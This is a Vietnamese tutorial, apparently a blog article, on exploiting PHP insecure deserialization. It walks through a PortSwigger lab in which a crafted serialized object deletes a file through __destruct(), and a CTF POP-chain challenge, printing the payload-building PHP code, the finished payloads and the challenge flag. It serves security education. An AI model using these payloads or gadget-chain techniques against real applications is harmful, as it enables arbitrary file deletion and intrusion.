Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 3)
II. Lỗ hổng deserialization trong ngôn ngữ PHP (tiếp)
4. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 1
Ở phần trước chúng ta đã tìm hiểu về khái niệm, công dụng của một số magic methods trong PHP. Để tận dụng được chúng đòi hỏi kẻ tấn công cần hiểu về luồng hoạt động của mã nguồn ứng dụng, thêm phần tư duy nhạy bén mới có thể kết hợp khéo léo từng thành phần methods. Trong bài viết tôi sẽ cố gắng cùng bạn đọc phân tích kỹ một vài ví dụ điển hình nhằm giúp bạn đọc có thể hình dung được quá trình payload được xây dựng trong dạng lỗ hổng này.
Phân tích bài lab Arbitrary object injection in PHP.
Sau khi đăng nhập, nhận thấy ứng dụng sử dụng serialization trong session:


Quan sát mã nguồn front-end, ứng dụng đã để lộ đường dẫn tới tệp tin CustomTemplate.php, nhưng không thể truy cập:


Tuy nhiên file backup CustomTemplate.php~ chưa bị xóa nên chúng ta có thể đọc được nội dung file:

Như vậy chúng ta có thông tin về lớp CustomTemplate của ứng dụng. Chú ý phương thức __destruct() của lớp này:
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
Đọc hiểu luồng hoạt động của phương thức: Nếu tồn tại tệp tin có đường dẫn $this->lock_file_path sẽ thực hiện hàm unlink() xóa tệp tin này. Ý tưởng đã khá rõ ràng, nếu kẻ tấn công có thể lợi dụng quá trình deserialization của ứng dụng nhằm xóa bất kỳ tệp tin nào trong hệ thống nếu họ biết chính xác đường dẫn.
Xây dựng script tạo payload xóa tệp tin /home/carlos/morale.txt do bài lab yêu cầu:
class CustomTemplate {
private $template_file_path;
private $lock_file_path = "/home/carlos/morale.txt";
}
$payload = new CustomTemplate();
echo urlencode(base64_encode(serialize($payload)));
// TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzQ6IgBDdXN0b21UZW1wbGF0ZQB0ZW1wbGF0ZV9maWxlX3BhdGgiO047czozMDoiAEN1c3RvbVRlbXBsYXRlAGxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3D%3D
Thay payload trên vào session và gửi tới server, tuy response trả về status code nhưng hệ thống đã thực hiện deserialization session mới và tệp tin /home/carlos/morale.txt đã bị xóa, bài lab hoàn thành:

5. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 2
Một ví dụ tiếp theo được tôi lựa chọn là một challenge CTF về khai thác lỗ hổng deserialization có độ khó cao hơn. Bạn đọc có thể tự thử sức trước khi theo dõi phần phân tích phía dưới PHP - Unserialize Pop Chain.
Challenge cho phép người dùng submit chuỗi văn bản qua ô input.

Từ source code được cung cấp, nhận thấy rằng trang web tiến hành deserialize chuỗi input chúng ta submit:
if (isset($_POST["data"]) && !empty($_POST["data"])) {
unserialize($_POST["data"]);
}
Ngoài ra có hai lớp GetMessage(), WakyWaky() cùng với biến $getflag mang giá trị false. Lần lượt phân tích thành phần của từng lớp.
class GetMessage {
function __construct($receive) {
if ($receive === "HelloBooooooy") {
die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
} else {
$this->receive = $receive;
}
}
function __toString() {
return $this->receive;
}
function __destruct() {
global $getflag;
if ($this->receive !== "HelloBooooooy") {
die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
} else {
if ($getflag) {
include("flag.php");
echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG."<br>";
}
}
}
}
Lớp GetMessage():
- Phương thức khởi tạo
__construct()làm việc với thuộc tính$receive. Nếu$receivecó giá trịHelloBooooooysẽ in thông báo ra màn hình với hàmdie(), kết thúc script đang chạy. Ngược lại, gán giá trị$this->receive = $receive. - Phương thức
__toString()trả về$this->receivekhi đối tượng thuộc lớp này được thực thi với vai trò là string. - Phương thức
__destruct()tiếp tục kiểm tra biến$receive, nếu giá trị khácHelloBooooooysẽ in thông báo ra màn hình với hàmdie(), kết thúc script đang chạy. Ngược lại, kiểm tra điều kiện nếu$getflaglà true sẽ in ra thông báo kèm theo flag của challenge.
Từ đây chúng ta nhận thấy để lấy được flag thì các điều kiện sau cần đồng thời thỏa mãn:
- Điều kiện : Đối tượng thuộc lớp
GetMessage()tại thời điểm khởi tạo có thuộc tínhreceivekhácHelloBooooooy. - Điều kiện : Tại thời điểm thực hiện phương thức
__destruct(), thuộc tínhreceivecó giá trị bằngHelloBooooooy. - Điều kiện : Tại thời điểm thực hiện phương thức
__destruct(), biến$getflagcó giá trị true.
Ngoài ra chúng ta có thêm lớp WakyWaky():
class WakyWaky {
function __wakeup() {
echo "[YOU]: ".$this->msg."<br>";
}
function __toString() {
global $getflag;
$getflag = true;
return (new GetMessage($this->msg))->receive;
}
}
Trong lớp WakyWaky():
- Phương thức
__wakeup()được gọi khi thực thi hàmunserialize(). - Phương thức
__toString()được gọi khi đối tượng thuộc lớpWakyWaky()được thực thi với vai trò là string. Chú ý rằng phương thức này đổi giá trị$getflagthành true, giá trị trả về(new GetMessage($this->msg))->receivekhai báo một đối tượng mới thuộc lớpGetMessage()có thuộc tínhreceivenhận giá trị$this->msg(của đối tượng thuộc lớpWakyWaky()đang thực thi phương thứctoString()), cuối cùng trả về chính thuộc tínhreceivenày. (Bạn đọc có thể hiểu đơn giản là trả về$this->msg)
Từ các phân tích phía trên, chúng ta cùng lần lượt giải quyết các điều kiện.
Điều kiện giải quyết đơn giản:
$a = new GetMessage("viblo");
Điều kiện được thỏa mãn nếu sau khi thực hiện phương thức __construct(), thuộc tính receive nhận giá trị HelloBooooooy, chúng ta chỉ cần định nghĩa lại giá trị này sau khi khởi tạo đối tượng:
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
Lúc này, với payload $payload = serialize($a), khi server thực hiện deserialize thì luồng code trong phương thức __destruct() thuộc lớp GetMessage() sẽ rẽ vào nhánh else. Bạn đọc có thể thực hiện debug với đoạn code (coi đây là sự kiện ):
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$payload = serialize($a);
unserialize($payload);
Cuối cùng cần tìm cách để điều kiện được thỏa mãn, như vậy cần gọi phương thức __toString() thuộc lớp WakyWaky(). Đầu tiên, khai báo một đối tượng mới và đối tượng này cần được thực thi với vai trò là string (coi đây là sự kiện ):
$b = new WakyWaky();
echo $b;
Đến đây, chúng ta cần tìm cách "nối" hai sự kiện trên với nhau, để khi server thực hiện deserialization, sự kiện xảy ra và dẫn đến sự kiện . Mấu chốt để thực hiện được phép "nối" này chính là giá trị trả về trong phương thức __toString() thuộc lớp WakyWaky() vì khởi tạo một đối tượng mới thuộc lớp GetMessage(). Do vậy chúng ta có thể gán đối tượng $a vào thuộc tính msg của đối tượng $b, để server deserialize đối tượng $b.
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$b = new WakyWaky();
$b->msg = $a;
echo $b;
$payload = serialize($b);
unserialize($payload);
Đến đây, còn một vấn đề chúng ta cần xử lý, đó là server không thể "tự động" thực hiện echo $b; trước khi deserialize được. Nên chúng ta cần tìm cách kích hoạt công việc "thực thi $b như string" một cách tự động. Giải quyết bằng cách tạo thêm một đối tượng mới thuộc lớp WakyWaky() và gán giá trị $b vào thuộc tính msg của đối tượng mới (tận dụng phương thức __wakeup())
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$b = new WakyWaky();
$b->msg = $a;
$c = new WakyWaky();
$c->msg = $b;
$payload = serialize($c);
// echo $payload;
unserialize($payload);
Thu được payload: O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}
Kết quả:

Luồng code hoạt động tại server như sau:
- Thực hiện deserialize đối tượng
$payload, gọi phương thức__wakeup()thuộc lớpWakyWaky()xử lý$c->msgở dạng chuỗi (lúc này là$b). - Đối tượng
$bđược xử lý như dạng chuỗi nên gọi phương thức__toStringthuộc lớpWakyWaky(), đổi giá trị global$getflag=true, trả về(new GetMessage($this->msg))->receive. (new GetMessage($this->msg))->receivekhai báo một đối tượng mới (giả sử là$x) thuộc lớpGetMessage()với thuộc tínhreceivelúc này là$this->msg = $b->msg = $a, trả về$x->receive = $a.- Đối tượng
$ađược thực thi như string nên gọi phương thức__toString()thuộc lớpGetMessage(), trả về$this->receive = $a->receive = "HelloBooooooy". Từ đó in ra màn hình:[YOU]: HelloBooooooy - Đối tượng
$xdo không được sử dụng tới nên thực hiện tự hủy, gọi phương thức__destruct()in ra màn hình[FRIEND]: Hm.. you don't see to be the friend I was waiting for..với hàmdie()(do$x->receive !== "HelloBooooooy"). - Hàm
die()kết thúc script nên phương thức__destruct()của$ađược gọi, do$a->receive === "HelloBooooooy"và$getflag = truenên in ra dòng thông báo cuối cùng kèm flag của challenge này:[FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks
Bạn đọc có thể luyện tập thêm kỹ năng xây dựng payload này với bài lab Developing a custom gadget chain for PHP deserialization.
Các tài liệu tham khảo
- https://portswigger.net/web-security/deserialization
- https://www.php.net/manual/en/language.oop5.magic.php
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved